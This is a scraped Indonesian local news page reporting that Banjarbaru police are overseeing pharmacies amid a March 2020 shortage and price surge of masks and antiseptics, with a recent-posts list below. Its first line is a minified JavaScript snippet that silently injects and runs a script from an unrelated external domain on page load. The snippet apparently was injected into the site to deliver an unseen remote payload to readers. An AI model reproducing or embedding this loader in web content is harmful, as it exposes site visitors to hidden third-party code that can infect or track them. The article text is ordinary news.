(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Masker dan Antiseptic Langka di Banjarbaru, Polisi Lakukan Pengawasan


KANALKALIMANTAN.COM, BANJARBARU – Polres Banjarbaru melalui Satuan Reserse Kriminal Unit I Tipidter yang dipimpin Iptu Sawabiyanto melakukan pengawasan dan koordinasi terhadap toko obat dan apotik yang berada di Kota Banjarbaru, Rabu (4/3/2020). Kegiatan ini bertujuan untuk melakukan pengecekan terhadap harga alat kesehatan berupa masker dan antiseptic yang dijual oleh toko obat dan apotek.

“Harga untuk alat kesehatan berupa masker dan antiseptic mengalami kenaikan secata signifikan, karena harga beli dari distributor sudah tinggi,” ucap salah satu pemilik toko obat.

Biasanya harga 1 box yang semula Rp 200 ribu, namun sekarang bisa mencapai harga Rp 500 ribu per boxnya. Begitu pula dengan antiseptic ukuran 500 ml yang semula Rp 60.000.- kini menjadi Rp 300.000.-, harga tersbut beragam dilihat dari merk masker dan antiseptic.

“Kelangkaan dan kenaikan terjadi karena pasokan dari pulau Jawa tidak ada pengiriman dan harga beli dari distributor di sana sudah tinggi.” ucap pemilik toko obat.

Kapolres Banjarbaru AKBP Doni Hadi Santoso S.I.K.,M.H melalui Kasubbag Humas Polres Banjarbaru mengatakan pihaknya akan terus melakukan pengawasan atas kelangkaan masker dan antiseptic bekerjasama dengan Instansi terkait.

“Pengawasan akan terus dilakukan selama kelangkaan masker dan antiseptic di Kota Banjarbaru. Kami juga menghimbau kepada pemilik toko obat dan apotek agar tidak menimbun alat kesehatan berupa masker dan antiseptic, Kalau ada kelangkaan karena permainan pedagang atau motif ingin mencari untung dengan menaikan harga, maka kita siap tindak tegas.” Tegasnya.

Undang-Undang Republik Indonesia Nomor 7 tahun 2014 tentang Perdagangan, Pasal 1o7 berbunyi, Pelaku Usaha yang menyimpan Barang kebutuhan pokok dan/atau Barang penting dalam jumlah dan waktu tertentu pada saat terjadi kelangkaan Barang, gejolak harga, dan/atau hambatan lalu lintas Perdagangan Barang sebagaimana dimaksud dalam Pasal 29 ayat (1) dipidana dengan pidana penjara paling lama 5 (lima) tahun dan/atau pidana denda paling banyak Rp50 miliar. (kanalkalimantan.com/rico)


Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Caleg Terpilih Tak Harus Mundur Jika Maju Pilkada, Begini Penjelasan Ketua KPU Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Caleg Anggota Dewan Perwakilan Rakyat (DPR), Anggota Dewan Perwakilan Rakyat Daerah (DPRD)… Read More

36 menit ago

Lepas Keberangkatan 320 Calon Haji, Ini Pesan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Bagian dalam dan luar halaman Mahligai Sultan Adam di Jalan A Yani… Read More

2 jam ago

Hari Ini Masuk Asrama Haji, Kloter 1 Embarkasi Banjarmasin Berangkat Minggu

KANALKALIMANTAN.COM, BANJARBARU - Jelang kedatangan rombongan jemaah Haji Embarkasi Banjarmasin Kloter 1, Sabtu (11/5/2024), Petugas… Read More

2 jam ago

Paman Birin Trophy VII 2024 Digelar 15 Hari di Murdjani

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan H Sahbirin Noor membuka secara resmi Paman Birin Trophy… Read More

4 jam ago

Karst Sangkulirang-Mangkalihat dan Delta Mahakam, Bentang Alam yang Terancam Eksploitasi

KANALKALIMANTAN.COM, SAMARINDA - Akademisi Teknik Geologi Universitas Muhammadiyah Kalimantan Timur (UMKT) Syamsidar Sutan Malim Polawan… Read More

4 jam ago

Kunker DPRD Kapuas Perkaya Referensi Raperda Bangunan Gedung

KANALKALIMANTAN.COM, KUALA KAPUAS – Panitia Khusus (Pansus) I Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas… Read More

18 jam ago

This website uses cookies.